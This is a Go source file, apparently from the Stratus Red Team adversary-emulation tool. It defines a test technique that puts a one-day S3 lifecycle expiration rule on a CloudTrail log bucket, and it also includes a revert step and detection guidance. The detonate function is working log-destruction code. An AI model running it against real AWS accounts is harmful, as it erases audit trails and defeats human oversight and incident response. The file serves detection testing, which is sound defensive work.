-
Notifications
You must be signed in to change notification settings - Fork 197
/
main.go
90 lines (75 loc) · 2.89 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package aws
import (
"context"
_ "embed"
"errors"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/s3"
"github.com/aws/aws-sdk-go-v2/service/s3/types"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
"log"
)
//go:embed main.tf
var tf []byte
func init() {
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "aws.defense-evasion.cloudtrail-lifecycle-rule",
FriendlyName: "CloudTrail Logs Impairment Through S3 Lifecycle Rule",
Platform: stratus.AWS,
MitreAttackTactics: []mitreattack.Tactic{mitreattack.DefenseEvasion},
Description: `
Set a 1-day retention policy on the S3 bucket used by a CloudTrail Trail, using a S3 Lifecycle Rule.
References: https://www.justice.gov/usao-sdny/press-release/file/1452706/download
Warm-up:
- Create a CloudTrail trail logging to a S3 bucket.
Detonation:
- Apply a S3 Lifecycle Rule automatically removing objects after 1 day.
`,
Detection: `
Identify when lifecycle rule with a short expiration is applied to an S3 bucket used for CloudTrail logging.
The CloudTrail event <code>PutBucketLifecycle</code> and its attribute
<code>requestParameters.LifecycleConfiguration.Rule.Expiration.Days</code> can be used.
`,
IsIdempotent: false, // can't create twice a lifecycle rule with the same name
PrerequisitesTerraformCode: tf,
Detonate: detonate,
Revert: revert,
})
}
func detonate(params map[string]string, providers stratus.CloudProviders) error {
s3Client := s3.NewFromConfig(providers.AWS().GetConnection())
bucketName := params["s3_bucket_name"]
log.Println("Setting a short retention policy on CloudTrail S3 bucket " + bucketName)
_, err := s3Client.PutBucketLifecycleConfiguration(context.Background(), &s3.PutBucketLifecycleConfigurationInput{
Bucket: &bucketName,
LifecycleConfiguration: &types.BucketLifecycleConfiguration{
Rules: []types.LifecycleRule{
{
ID: aws.String("nuke-cloudtrail-logs-after-1-day"),
Status: types.ExpirationStatusEnabled,
Expiration: &types.LifecycleExpiration{Days: aws.Int32(1)},
Filter: &types.LifecycleRuleFilterMemberPrefix{
Value: "*",
},
},
},
},
})
if err != nil {
return errors.New("unable to create S3 Lifecycle Policy Rule: " + err.Error())
}
return nil
}
func revert(params map[string]string, providers stratus.CloudProviders) error {
s3Client := s3.NewFromConfig(providers.AWS().GetConnection())
bucketName := params["s3_bucket_name"]
log.Println("Reverting S3 Lifecycle Rules on CloudTrail S3 bucket " + bucketName)
_, err := s3Client.DeleteBucketLifecycle(context.Background(), &s3.DeleteBucketLifecycleInput{
Bucket: &bucketName,
})
if err != nil {
return errors.New("unable to revert S3 Lifecycle Policy Rule: " + err.Error())
}
return nil
}